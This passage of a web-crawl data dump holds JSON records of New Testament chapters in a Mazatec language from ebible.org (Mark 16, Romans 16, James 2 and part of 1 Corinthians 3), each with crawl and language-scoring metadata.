nei̱í.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/maaNT\/2TI02.htm","date":"2021-12-02T09:46:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964361253.38\/warc\/CC-MAIN-20211202084644-20211202114644-00454.warc.gz","language":"maa","language_score":1.0000069141,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 1.000006914138794}","num_words":625,"character_repetition_ratio":0.057,"word_repetition_ratio":0.003,"special_characters_ratio":0.231,"stopwords_ratio":0.309,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"16\nK'e̱ nga jaáya‑la̱ Jesús\n(Mateo 28:1‑10; Lucas 24:1‑12; Juan 20:1‑10)\n1 K'e̱ nga jye tsato na̱chrjein nìkjáya, María Magdalena, Salomé, ko̱ María nea̱‑la̱ Jacobo, tsatse xkiì jne̱ nga mejèn‑la̱ si̱ìkaàjno yijo‑la̱ Jesús. 2 Jè na̱chrjein nga tàts'en xomàna̱, 'ñó ta̱jñòya kiì katsejèn‑la̱ ñánda kisìhijiìn Jesús. Ti̱k'e̱é tíbitjokàtji ts'oí. 3 Tsò‑la̱ xíkjín:\n―¿Yá xi kjoa̱áxìn‑ná nda̱jo̱ xi tíchjoàjto ya̱ xotjoa̱‑la̱ nga̱jo̱ i̱tsjó?\n4 K'e̱ nga ijchò, kiskoòtsejèn, kijtseè nga jè nda̱jo̱ je xi 'ñó i'í xi tíchjoàjto‑la̱ nga̱jo̱ i̱tsjó ñánda kisijna Jesús, jye kitjaàxìn. 5 K'e̱ nga jahas'en‑ngui nguijo kijtseè jngoò xi̱ta̱ i̱xti xi tíjnajté jngoò nikje chroba ndojò. Tíjnat'aà kixi̱‑la̱ nga̱jo̱. Jñà íchjín tà kitsakjòn‑né. 6 Ta̱nga jè xi̱ta̱ i̱xti kitsò‑la̱:\n―Kì tsakjoòn‑jèn. Jñò, jè binchaàtsjioò Jesús xi Nazaret i̱'nde‑la̱, jè xi kisit'aà krò. Jye kòfaáya‑la̱. Mì ti̱ i̱ tíjna‑ne. Chítsejèn‑là i̱'nde‑la̱ ñánda kisijna. 7 Tanguió koa̱tìn‑là xi̱ta̱ xi kota'yàt'aà‑la̱ ko̱ Pedro: \"Jè tífì ítjòn‑nò ján Galilea. Ya̱á jcha̱xkoòn ìjngoò k'a koni s'ín kitsò‑nò.\"\n8 Jñà íchjín, itjo ni̱to̱ón‑ne ya̱ i̱ya nguijo. Kiì, tsangachikon. Chi̱ba̱‑la̱ nchihotsé‑né nga kitsakjòn. Ni̱yá xi tsibéno̱jmí‑la̱ nga 'ñó tsibíxkón‑la̱ yijo‑la̱.\nK'e̱ nga jè María Magdalena kijtseè Jesús\n(Juan 20:11‑18)\n9 Jè na̱chrjein nga tàts'en xomàna̱, Jesús jaáya‑la̱ nga ta̱jñòya. Jè kijtseè ítjòn María Magdalena, jè xi tsachrjekàjiìn itoò ini̱ma̱ ch'o‑la̱ nei̱í ini̱ma̱‑la̱. 10 María Magdalena kiì, kisìkí'nchré ngats'iì xi̱ta̱‑la̱ Jesús nga ba tjín‑la̱ koa̱ nchikjindáya. 11 Jñà xi̱ta̱ xi kota'yàt'aà‑la̱, k'e̱ nga kiì'nchré nga tíjnakon Jesús nga jè chjo̱ón kijtseè, mìkiì kòkjeiín‑la̱.\nK'e̱ nga jò xi̱ta̱‑la̱ kijtseè Jesús\n(Lucas 24:13‑35)\n12 K'e̱ komà i̱skan, Jesús, kj'ei̱í kji i̱sén‑la̱ k'e̱ nga tsakó‑la̱ yijo‑la̱ jò xi̱ta̱‑la̱ xi nchifì campo. 13 Tsohótji‑ne jñà xi̱ta̱ xi jò ma, kisìkí'nchré jñà xi̱ta̱ xi i'nga. Ti̱koa̱á mìkiì kòkjeiín‑la̱.\nKií kitsò Jesús nga kitsjaà‑la̱ xá xi̱ta̱ xi kota'yàt'aà‑la̱\n(Mateo 28:16‑20; Lucas 24:36‑49; Juan 20:19‑23)\n14 Xi jyehet'aà‑ne, Jesús tsakó‑la̱ yijo‑la̱ jñà xi̱ta̱ xi tejngoò ma‑ne k'e̱ nga títsa̱jnat'aà ími̱xa̱ nga nchikjèn. Tsohótiko̱ nga tájaà tjín ini̱ma̱‑la̱ nga mì kòkjeiín‑la̱ k'e̱ nga tsibéno̱jmí‑la̱ jñá xi̱ta̱ xi tsakó ítjòn‑la̱ yijo‑la̱ nga jè jye jaáya‑la̱. 15 Koa̱ kitsò‑la̱:\n―Tanguió nga tíjtsa i̱sò'nde. Tèno̱jmí yije‑là ngats'iì xi̱ta̱ jè 'én ndaà‑la̱ Nainá xi kjoa̱ ts'a̱n. 16 Jñà xi̱ta̱ xi ko̱kjeiín‑la̱ i̱t'aà ts'a̱n koa̱ ko̱ma bautizar, ki̱tjokàjiìn kjo̱'in. Ta̱nga jñà xi mìkiì ko̱kjeiín‑la̱, kjo̱'iín s'e̱‑la̱. 17 Jñà xi ko̱kjeiín‑la̱ i̱t'aà ts'a̱n, k'oa̱á s'ín jcha̱‑la̱; nga ko̱ma‑la̱ ko̱chrjekàjiìn ini̱ma̱ ch'o‑la̱ nei̱í xi tíjiìn ini̱ma̱‑la̱ xi̱ta̱; ti̱koa̱á ko̱ma‑la̱ ki̱chja̱ 'én xi kj'ei̱í tsò; 18 tsà ye̱ tsobà'ñó, tsà xkiì kjan ski̱ne̱, ni̱mé xi ko̱ma‑la̱; ko̱hòsòn‑la̱ tsja xi̱ta̱ xi xk'én, ko̱ndaà‑ne.\nK'e̱ nga jè Jesús kiìmijìn ngajmiì\n(Lucas 24:50‑53)\n19 K'e̱ nga jye o̱kitsò‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱, Na̱'èn‑ná Jesús, kitjámiì'nga; nga kiì ngajmiì, tsibìjna i̱t'aà kixi̱‑la̱ Nainá. 20 Jñà xi̱ta̱‑la̱ kiì; kisìka'bí 'én ndaà‑la̱ nga kijndà i̱'nde, ko̱ jè Na̱'èn‑ná Jesús kisìchját'aà‑la̱ ko̱ kisìkixi̱yandaà 'én‑la̱ ko̱ kjo̱ndaà xi kis'iìn xi̱ta̱‑la̱. K'oa̱á s'ín kàtama.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/maaNT\/MRK16.htm","date":"2021-12-02T15:15:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362230.18\/warc\/CC-MAIN-20211202145130-20211202175130-00584.warc.gz","language":"maa","language_score":1.0000071526,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 1.000007152557373}","num_words":433,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.296,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"16\nKós'ín kisìhixat'aà Pablo ngats'iì xi̱ta̱ na̱xa̱ndá‑la̱ Nainá xi títsa̱jna Roma\n1 I̱t'aà tsa̱jòn sìnga̱tsja‑nò jè tichjaá Febe, jè xi síchját'aà na̱xa̱ndá‑la̱ Cristo xi ya̱ tíjna Cencrea; 2 ndaà chjoétjò xi̱ta̱ jè nga xinguia̱á ma nga ti̱koa̱á mokjeiín‑la̱ i̱t'aà ts'e̱ Na̱'èn‑ná nga k'oa̱á s'ín ok'ìn‑la̱ xi xi̱ta̱‑la̱ Cristo. Ti̱chját'aà‑là ni̱ta̱ mé xi ko̱chjeén‑la̱ nga 'ñó kjín xi̱ta̱ tsasìko̱, ti̱koa̱ 'a̱n kisìchját'aà‑na.\n3 Ti̱ixat'eì jè Priscila ko̱ Aquila, jñà xi̱ta̱ xi ta̱ña nìxákjoò‑je̱n i̱t'aà ts'e̱ Cristo Jesús. 4 Jñà xi̱ta̱ koi kjo̱meè kinìk'en xi kjoa̱ ts'a̱n. Mìtsà tà 'a̱n xi tsjaà‑la̱ kjo̱ndaà ti̱koa̱ tsjá‑la̱ kjo̱ndaà ngats'iì xi̱ta̱ na̱xa̱ndá‑la̱ Cristo xi mìtsà xi̱ta̱ judío. 5 Ti̱koa̱ ti̱ixat'eì jñà xi̱ta̱ na̱xa̱ndá‑la̱ Cristo xi maxkóya ya̱ ni'ya‑la̱ Priscila ko̱ Aquila. Ti̱ixat'eì jè Epeneto xi 'ñó matsjake̱ nga jè kòkjeiín ítjòn‑la̱ i̱t'aà ts'e̱ Cristo ya̱ i̱'nde Acaya. 6 Ti̱ixat'eì jè María, chjo̱ón xi 'ñó ndaà kisìxá i̱t'aà tsa̱jòn. 7 Ti̱ixat'eì jè Andrónico ko̱ Junias, xi xinguia̱á ma nga ta̱ña tsitsa̱jna'ya‑je̱n nda̱yá. Jñà xi̱ta̱ xi tsibíxáya‑la̱ Cristo 'ñó matsjakeè xi̱ta̱ koi. Ko̱ ìsa̱ ítjòn kijtseèxkon 'én‑la̱ Cristo koni 'a̱n.\n8 Ti̱ixat'eì jè Amplias, jè xi̱ta̱ xi 'a̱n 'ñó matsjake̱ i̱t'aà ts'e̱ Na̱'èn‑ná. 9 Ti̱ixat'eì jè Urbano xi ta̱ña síxáko̱‑na̱ i̱t'aà ts'e̱ Cristo Jesús ko̱ jè Estaquis xi 'a̱n 'ñó matsjake̱. 10 Ti̱ixat'eì jè Apeles xi ndaà kixi̱ mokjeiín‑la̱ i̱t'aà ts'e̱ Cristo. Ti̱ixat'eì jñà xi̱ta̱ xíkjín xi ya̱ títsa̱jna ni'ya‑la̱ jè Aristóbulo. 11 Ti̱ixat'eì jè Herodión xi xinguia̱á ma. Ti̱ixat'eì jñà xi̱ta̱ xíkjín xi ya̱ títsa̱jna ni'ya‑la̱ Narciso xi Na̱'èn‑ná títsa̱jnako̱. 12 Ti̱ixat'eì jè Trifena ko̱ Trifosa jñà íchjín xi 'ñó síxá‑la̱ Na̱'èn‑ná, ko̱ tichjaá Pérsida xi 'ñó matsjachaá nga ti̱koa̱ ndaà síxá‑la̱ Nainá. 13 Ti̱ixat'eì jè Rufo xi xó jaàjiìn‑ne Nainá. Ko̱ nea̱‑la̱ xi 'a̱n k'oa̱ ti̱s'ín beètakoàn koni tsà nea̱‑na̱. 14 Ti̱ixat'eì jè Asíncrito, jè Flegonte, jè Hermas, jè Patrobas, jè Hermes ko̱ xi̱ta̱ 'ndseé xi ya̱ títsa̱jnako̱. 15 Ti̱ixat'eì jè Filólogo, jè Julia, jè Nereo ko̱ ndichja, ko̱ Olimpas, ngats'iì xi̱ta̱ xi mokjeiín‑la̱ i̱t'aà ts'e̱ Cristo xi ya̱ títsa̱jnako̱.\n16 Jñò nga jngoò ìjngoò, k'e̱ nga si̱xat'aà xinguio̱o, nguì ko̱ó ini̱ma̱‑nò ti̱ixat'aà xinguio̱o nga ko̱ o̱kixi̱‑nò. Ngats'iì xi̱ta̱ na̱xa̱ndá‑la̱ Cristo xi i̱ títsa̱jna síhixat'aà‑nò.\n17 Ndí 'ndsè k'oa̱á s'ín bìtsi'bà‑nò nga chítsejèn‑là jñà xi̱ta̱ xi síjòya ko̱ xi síkits'ón‑jiìn koni s'ín mokjeiín‑nò, jñà xi kondra̱ f'iì‑la̱ kjo̱hítsjeèn koni s'ín kichìta'yà jñò. Ti̱nchat'aàxìn‑là jñà xi̱ta̱ koi. 18 Jñà xi̱ta̱ koi, mìtsà Na̱'èn‑ná Jesucristo síxá‑la̱, tà yijo‑la̱á síxátjì. 'Én sin 'én ndaà chja̱ nga kona̱cha̱n‑la̱ xi̱ta̱ xi mìkiì ndaà machi̱ya‑la̱. 19 'A̱n, matsjaá‑na i̱t'aà tsa̱jòn nga jye ndaà na'yà‑nò nga ndaà nìkitasòn. Ta̱nga 'a̱n mejèn‑na nga xi̱ta̱ chji̱ne̱e kàtama i̱t'aà ts'e̱ kjoa̱ xi ndaà tjín. Ko̱ jñà kjoa̱ xi ch'o tjín, kj'eè kiì na'yà‑nò. 20 Jè Nainá xi tsjá‑ná kjoa̱'nchán, tà chibaá chija‑la̱ nga ya̱ si̱ìkíjnangui ndso̱koò jè xi̱ta̱ nei̱í mé‑ne nga ko̱ma ki̱nchanè. Kjo̱ndaà‑la̱ Na̱'èn‑ná Jesucristo kàtìjnako̱‑nò.\n21 Tísíhixat'aà‑nò jè Timoteo xi ta̱ña nìxákjoò‑je̱n, ko̱ Lucio, ko̱ Jasón ko̱ Sosípater jñà xi xi̱ta̱ xinguia̱a ma.\n22 'A̱n xi Tercio mì‑na̱, xi tìkjiì‑nò xo̱jo̱n jè, i̱t'aà ts'e̱ Na̱'èn‑ná, sìhixat'aà‑nò.\n23 Ti̱koa̱ tísíhixat'aà‑nò Gayo; 'a̱n i̱í tìjna̱a i̱ ni'ya‑la̱ nga ti̱koa̱ i̱í bixoña ngats'iì xi̱ta̱ na̱xa̱ndá‑la̱ Cristo. Tísíhixat'aà‑nò Erasto xi̱ta̱ xi bítjò to̱n ts'e̱ ni'ya osen; ti̱koa̱á síhixat'aà‑nò jè 'ndseé xi 'mì Cuarto.\n24 Ngats'ioò, jè kàtìjnako̱‑nò kjo̱ndaà‑la̱ Jesucristo xi otíxoma‑ná.\n'Én xi fehet'aà‑ne\n25 Jeya kàtìjna jè Nainá xi tíjnako̱‑nò. Jè xi komà tsjá‑nò nga'ñó ti̱koa̱ komà kixi̱ si̱ìkítsa̱jna‑nò koni tsò 'én ndaà‑la̱ Nainá xi 'a̱n okoòya‑nò ko̱ jñà 'én xi nokjoàyajiìn‑nò i̱t'aà ts'e̱ Na̱'èn‑ná Jesucristo. Nga jyeé tí'ya‑la̱ kjoa̱ xi tjí'ma‑la̱ Nainá skanda sa̱ kjòtseé; 26 ta̱nga i̱'ndei̱ jye ki'ya‑la̱ koni s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá xi kiskiì jñà xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá kjòtseé. K'oa̱á s'ín tíchja̱ kjo̱tíxoma‑la̱ Nainá xi tíjna ni̱ta̱ mé na̱chrjein‑nè. Jè kjoa̱'ma‑la̱ Nainá, jye kis'eno̱jmí yije‑la̱ ngats'iì xi̱ta̱ na̱xa̱ndá xi tjín nga tíjtsa i̱sò'nde mé‑ne nga kàtasíkitasòn‑ne koni s'ín mokjeiín‑la̱.\n27 Jè Nainá xi ta̱jngoò ma‑ne, xi tjín‑la̱ kjoa̱chji̱ne̱, kàtas'e‑la̱ kjoa̱ jeya i̱t'aà ts'e̱ Jesucristo ni̱ta̱ mé na̱chrjein‑ne. K'oa̱s'ín kàtama.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/maaNT\/ROM16.htm","date":"2021-11-27T05:20:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964358118.13\/warc\/CC-MAIN-20211127043716-20211127073716-00434.warc.gz","language":"maa","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 1.000008463859558}","num_words":621,"character_repetition_ratio":0.099,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.338,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\nMì kiì mochjeén nga chjaàjñaá xi̱ta̱ xinguia̱á nga ndaà si̱s'in‑lá\n1 Jñò, ndí 'ndsè, koni s'ín mokjeiín‑nò i̱t'aà ts'e̱ Na̱'èn‑ná Jesucristo xi jeya tíjna, kì chjaàjñoò xi̱ta̱ xinguio̱o. 2-3 Tsà jngoò xi̱ta̱ ki̱jchò ya̱ i̱'nde ñánda bixoña, xi ta̱ngò oro tíkjá na̱jnó tsja, ti̱koa̱ 'ñó ndaà kjoàn nikje chjí xi kikjá. Jñò, tsà 'ñó ndaà si̱s'in‑là, k'oín‑la: \"Ti̱jni i̱jndé ñánda ndaà choòn.\" Tsà ti̱koa̱ ki̱jchò jngoò xi̱ta̱ i̱ma̱ xi kixajndàjno kixajndàt'aà nikje‑la̱, tsà k'oín‑la: \"Ta̱xki̱ ti̱si̱jni ya̱, ko̱ tsà majìn, ta̱xki̱ ti̱jnat'eiì ya̱ nangui.\" 4 Jñò, k'e̱ nga ko̱s'ín s'e̱en, xinguio̱o titsa̱nachrjekànguiò nga chjaàjñoò xi̱ta̱ xinguio̱o koni s'ín xi̱ta̱xá xi ch'o tjín kjo̱hítsjeèn‑la̱.\n5 Jñò ndí 'ndsè xi 'ñó matsjake̱‑nò, ti̱ná'ya: Nainá xó k'oa̱á s'ín jaàjiìn‑ne jñà xi xi̱ta̱ i̱ma̱ xi tjín i̱ i̱sò'nde, mé‑ne nga jñà kítsa̱jna ítjòn‑ne koni s'ín mokjeiín‑la̱ ti̱koa̱ tjoé kjo̱tjò‑la̱ ngats'iì kjo̱ndaà xi Nainá tsjá‑la̱ jñà xi̱ta̱ xi jè otíxoma‑la̱ nga jyeé k'oa̱s'ín kitsjaà 'én‑la̱ nga tsjá‑la̱ xi̱ta̱ xi matsjakeè. 6 Ta̱nga jñò, ta sa̱á nachrjekànguioò jñà xi̱ta̱ i̱ma̱. ¿A mìtsà jñà xi̱ta̱ nchi̱ná xi jñò beètoòn‑nò nga fìko̱‑nò nguixko̱n xi̱ta̱xá nga óngui‑nò? 7 ¿A mìtsà jñà xi̱ta̱ nchi̱ná xi chja̱jno‑la̱ i̱t'aà ts'e̱ 'ín‑la̱ Cristo, xi jè otíxoma‑nò?\n8 Jñò, ndaà 'nè‑nò tsà kixi̱ kjoa̱ nga nìkitasòn jè kjo̱tíxoma‑la̱ Cristo xi otíxoma koni s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: \"Ti̱tsjachi xi̱ta̱ xingui̱i xi i'nga koni tsà ti̱ yijo tsi̱ji‑ne.\" 9 Ta̱nga tsà chjaàjñoò xi̱ta̱ xinguio̱o, tjín xi ndaà nìs'in‑la̱à ko̱ tjín xi mìkiì ndaà nìs'in‑la̱à, jé binchaàtsji‑la̱ yijo‑nò, nga nìkatonè‑là kjo̱tíxoma; ti̱jè‑ne kjo̱tíxoma tíbínè‑nò jé. 10 Nga tsà jngoò xi̱ta̱ xi ndaà síkitasòn yije kjo̱tíxoma ta̱nga tsà tà jngoò kjoa̱ síkatonè‑la̱, jye kisakò jé yije‑la̱ i̱t'aà ts'e̱ kjo̱tíxoma‑la̱ Nainá. 11 Nga̱ k'oa̱á tsò Nainá: \"Kì kjoa̱ chijngui 'nè.\" Ta̱nga ti̱koa̱á tjít'aà ñánda tsò: \"Kì xi̱ta̱ nìk'eèn.\" Jñò, tsà mì kjoa̱ chijngui 'nè, ta̱nga tsà xi̱ta̱ nìk'eèn, jye kisakò jé‑nò i̱t'aà ts'e̱ kjo̱tíxoma. 12 Jñò, k'oa̱á s'ín ti̱nókjoa̱a ko̱ k'oa̱á s'ín t'e̱en koni xi̱ta̱ xi Nainá ki̱ìndaàjiìn‑la̱ tsà k'oa̱s'ín tíbitasòn‑la̱ koni tsò kjo̱tíxoma xi síkítsa̱jnandei̱í xi̱ta̱. 13 Jñà xi̱ta̱ xi tsjìn‑la̱ kjo̱hi̱ma̱takòn i̱t'aà ts'e̱ xi̱ta̱ xi kj'ei̱í, ti̱koa̱á mìkiì s'e̱‑la̱ kjo̱hi̱ma̱takòn k'e̱ nga si̱nè‑la̱ kjo̱'in. Ta̱nga jñà xi tjín‑la̱ kjo̱hi̱ma̱takòn, mì kjo̱'in si̱nè‑la̱ k'e̱ nga si̱ndaàjiìn‑la̱.\nKjo̱ndaà xi 'né k'e̱ nga mokjeiín‑ná\n14 Ndí 'ndsè, nìmé chjí‑la̱ tsà jngoò xi̱ta̱ xi tsò: \"'A̱n, mokjeiín‑na i̱t'aà ts'e̱ Nainá\", tsà mìkiì tí'ya‑la̱ kjo̱ndaà‑la̱. Xi̱ta̱ jè, xi ta jè kjoa̱ mokjeiín‑la̱, mìkiì ko̱ma ki̱tjokàjiìn kjo̱'in. 15 Tsà jngoò 'ndsé ko̱ tsà jngoò tichjaá xi tsjìn‑la̱ nikje xi ókjá ko̱ tsà tsjìn‑la̱ tsojmì xi kine; 16 jñò, tsà k'oín‑laà: \"T'in‑là ndaà‑ne, ndaà chi̱kjeí nikje‑lè, ndaà chi̱ni̱i tsojmì xi mejèn‑lè.\" Ko̱ tsà mìkiì si̱chját'aà‑là mé xi mochjeén‑la̱, ni̱mé chjí‑la̱. 17 K'oa̱á ti̱s'ín ma kjoa̱ xi mokjeiín‑ná, tsà mìkiì tí'ya‑la̱ kjo̱ndaà‑ná, ni̱mé chjí‑la̱ kjoa̱ xi mokjeiín‑ná.\n18 Tjín i'nga xi̱ta̱ xi kjònangui, tsò: \"¿A mokjeiín‑lè i̱t'aà ts'e̱ Cristo?\" 'A̱n, xan‑la̱: \"Tí'yaá‑la̱ kjo̱ndaà‑na. ¿A ko̱maá ko̱kó‑ná nga mokjeiín‑lè i̱t'aà ts'e̱ Cristo tsà ni̱mé kjo̱ndaà tì'nì? Ta̱nga 'a̱n tìs'iìn‑ná kjo̱ndaà, k'oa̱á ma‑ne kokoò‑lè nga kixi̱í kjoa̱ nga mokjeiín‑na.\" 19 Ngaji̱ ndaá tjín nga mokjeiín‑lè nga jngoò ma Nainá. Ta̱nga ti̱koa̱á jñà ini̱ma̱ ch'o‑la̱ nei̱í mokjeiín‑la̱ nga tjín Nainá, skanda otsé‑né nga tsakjón‑la̱. 20 Jñò, xi̱ta̱ xi tsjìn‑nò kjo̱hítsjeèn, ¿a mì fìya‑nò nga nìmé chjí‑la̱ kjoa̱ xi mokjeiín‑nò tsà mìkiì tí'ya‑la̱ kjo̱ndaà‑nò? 21 Na̱'èn jchán kjìn‑ná Abraham, ¿mé‑ne xi̱ta̱ kixi̱ kitsò‑la̱ Nainá? Koií kjoa̱‑la̱ nga ndaà kisìkitasòn koni s'ín kitsò‑la̱ k'e̱ nga kitsjaà kjo̱tjò Isaac xi ki'ndí‑la̱ ma nga tjín‑ne nga si̱ìk'en. 22 ¿A mì 'ya‑jèn nga jè Abraham koni s'ín nga kòkjeiín‑la̱, k'oa̱á ti̱s'ín kisìkitasòn? Koni s'ín kisìkitasòn, ya̱á kjòjngoò kjoa̱ mokjeiín‑la̱ nga ni̱mé kisìchijàt'aà‑la̱. 23 K'oa̱á s'ín tsitasòn koni s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: \"Abraham kòkjeiín‑la̱ i̱t'aà ts'e̱ Nainá; k'oa̱á s'ín komà‑ne nga Nainá kiskoétjò nga xi̱ta̱ kixi̱ kitsò‑la̱.\" Amigo‑la̱ Nainá ki'mì Abraham.\n24 Ya̱á 'yaà, nga Nainá kjoétjò xi̱ta̱ kjoa̱ ts'e̱ kjo̱ndaà xi síkitasòn, mìtsà tà koi kjoa̱‑la̱ nga mokjeiín‑la̱. 25 K'oa̱á ti̱s'ín tjín ts'e̱ chjo̱ón chijngui xi 'mì Rahab; Nainá kiskoétjò nga xi̱ta̱ kixi̱ kitsò‑la̱ koií kjoa̱‑la̱ kjo̱ndaà xi kis'iìn nga kitsjaà'nde‑la̱ jñà xi̱ta̱ xi ijchò katsejèn‑'ma, i̱kjoàn kisìchját'aà‑la̱ nga xìn ndi̱yá kisìkasén‑ne xi̱ta̱ koi. 26 K'oa̱ ti̱s'ín tjín jè yijo‑ná, ni̱mé chjí‑la̱, tíjna k'en‑né tsà tsjìn ini̱ma̱‑ná. K'oa̱á ti̱s'ín ma kjoa̱ xi mokjeiín‑ná, tsà mìkiì tí'ya‑la̱ kjo̱ndaà‑ná, ni̱mé chjí‑la̱.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/maaNT\/JAS02.htm","date":"2021-12-04T07:54:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362952.24\/warc\/CC-MAIN-20211204063651-20211204093651-00475.warc.gz","language":"maa","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 1.0000098943710327}","num_words":675,"character_repetition_ratio":0.076,"word_repetition_ratio":0.009,"special_characters_ratio":0.237,"stopwords_ratio":0.284,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3\nJñà xi̱ta̱ xi síxá i̱t'aà ts'e̱ Nainá ján Corinto\n1 Jñò ndí 'ndsè ko̱ tichjaá, mìkiì komà ko̱s'ín kichjàko̱‑nò koni xi̱ta̱ xi ndaà tíjiìn ini̱ma̱‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá. Ta k'oa̱á s'ín kichjàko̱‑nò koni tsà ta̱xki̱ xi̱ta̱ i̱sò'nde xi tà kjoa̱ ts'e̱ yijo‑la̱ ótsji, koni tsà tákó ndí i̱xti xó xi i̱t'aà ts'e̱ Cristo. 2 Mìtsà 'in tjín 'én xi tsakoòya‑nò; k'oa̱s'ín ngaya‑la̱ koni ndí i̱xti xó xi sa̱ nchihoki, tà tsjín 'biì, mìtsà tsojmì tájaà kine. Jñò, kj'eè kiì ndaà fahas'en‑jiìn‑nò 'én‑la̱ Nainá, k'oa̱á ngaya‑la̱ koni tsojmì tájaà xi kj'eè kiì ma chine skanda na̱chrjein i̱'ndei̱. 3 Tákó k'oa̱á s'ín 'nè koni s'ín xi̱ta̱ xi kjoa̱ ts'e̱ yijo‑la̱ ótsji. Machi̱ni̱cha‑nò xinguio̱o, chitiya‑nò ni̱ta̱ mé kjoa̱‑ne. Kjoa̱ koi, kjoa̱ ts'e̱ xi̱ta̱ i̱sò'nde‑né. 4 K'e̱ nga bixón: \"'A̱n, xi̱ta̱ ts'e̱ Pablo‑ná\", ko̱ jè xi ìjngoò tsò: \"'A̱n, xi̱ta̱ ts'e̱ Apolos‑ná\", jñò, k'oa̱á s'ín nokjoà koni chja̱ xi ta̱xki̱ xi̱ta̱ i̱sò'nde.\n5 'A̱n xi Pablo 'mì‑na, ko̱ Apolos, tà xi̱ta̱ chi̱'nda‑náje̱n xi nìxá‑la̱je̱n Nainá. I̱t'aà tsa̱je̱én kòkjeiín‑nò 'én‑la̱ Nainá, nga ìjngoò ìjngoò‑je̱n ki'nè‑je̱n xá xi Na̱'èn‑ná kisìnga̱tsja‑naje̱n. 6 'A̱án tsakoòya‑nò 'én‑la̱ Nainá, k'oa̱á ngaya‑la̱ koni jngoò xi̱ta̱ xi bítje̱ xojmá, jè Apolos kiskinìndá‑la̱, ta̱nga jè Nainá tísíjchá. 7 Mìtsà jè xi̱ta̱ xi bítje̱ tsojmì, ni̱ mìtsà jè xi kinìndá‑la̱ xi chjí‑la̱, ta̱ jngoò jè Nainá xi síjchá tsojmì xi sitje̱ xi 'ñó chjí‑la̱. 8 Jè xi bítje̱ ko̱ xi kinìndá‑la̱, ta jngoò xá tjín‑ne xi s'ín. Ta̱nga jè Nainá tsjá‑la̱ chjí‑la̱ koni tjín xá xi kis'iìn nga jngoò ìjngoò. 9 Ngaje̱n, ya̱á ta̱ña nìxákjoò‑je̱n xá‑la̱ Nainá. Koa̱ jñò‑nò i̱'nde ñánda sitje̱ 'én‑la̱ Nainá. Ti̱koa̱á jñò‑nò ni'ya‑la̱ Nainá xi ngaje̱n bíndaà‑je̱n. 10 Koni s'ín tjín kjo̱ndaà‑la̱ Nainá xi kitjoé‑na, 'a̱n‑ná xi chji̱ne̱ chrjó ítjòn, xi tsibijnà tàts'en chrjó‑la̱ ni'ya. Kj'ei̱í xi̱ta̱á bíndaàsòn ni'ya. Ta̱nga jñà xi bíndaàsòn, ndaà kàtasíkinda̱ nga jngoò ìjngoò kós'ín ki̱ìndaà. 11 Mì ti̱ yá xi ko̱ma‑la̱ ki̱ìjna ìjngoò‑ìsa tàts'en chrjó ni'ya koni jè xi jye tíjna, nga jè Jesucristo tíjna koni tàts'en chrjó ni'ya. 12 Tàts'en chrjó ni'ya, ko̱maá sindaàsòn‑ne ki̱cha̱ oro, plata, nda̱jo̱ chjí xi 'ñó ndaà kjoàn, na̱s'ín yá, na̱s'ín xka̱ paja, o xka̱ ndi̱ji. 13 Ta̱nga jñà xá xi s'ín nga jngoò ìjngoò xi̱ta̱, k'e̱é jcha̱‑la̱ jè na̱chrjein k'e̱ nga si̱ndaàjiìn‑la̱ xi̱ta̱. Na̱chrjein jè, ni'ín kjoi̱íko̱, koa̱ jè ni'ín skót'aà nga jngoò ìjngoò ska̱ya xá xi komà. 14 Tsà jngoò xá ki̱chìkjoa̱ko̱‑la̱ ni'ín xi skót'aà, tjoé‑la̱ chjí‑la̱ jè xi̱ta̱ xi ki̱ìndaàsòn. 15 Ta̱nga tsà jè xá xi kisindaàsòn, tsà ki̱ti̱, chijaá chjí‑la̱. Ta̱nga jè xi̱ta̱ ki̱tjokàjiín kjo̱'in koni jngoò xi̱ta̱ xi bitjokàjiìn ni'ín.\n16 Jñò, ¿a mìtsà tíjiìn‑nò nga ni'ya i̱ngo̱ tsjeè‑la̱ Nainá 'mì‑nò? Nga jè Ini̱ma̱ Tsjeè‑la̱ Nainá tíjnajiìn‑nò. 17 Tsà yá xi̱ta̱ xi mejèn‑la̱ si̱ìkits'ón‑jiìn‑la̱ ni'ya tsjeè‑la̱ Nainá, Nainá ti̱koa̱á si̱ìkits'ón‑jiìn‑la̱ jè xi̱ta̱ xi k'oa̱s'ín s'i̱in. Nga jè ni'ya‑la̱ Nainá, tsjeè‑né. Koa̱ jñò‑nò xi ni'ya tsjeè‑la̱ Nainá 'mì‑nò.\n18 Kì yijo‑nò chona̱cha̱n‑là, tsà yá xi k'oa̱s'ín síkítsjeèn nga 'ñó 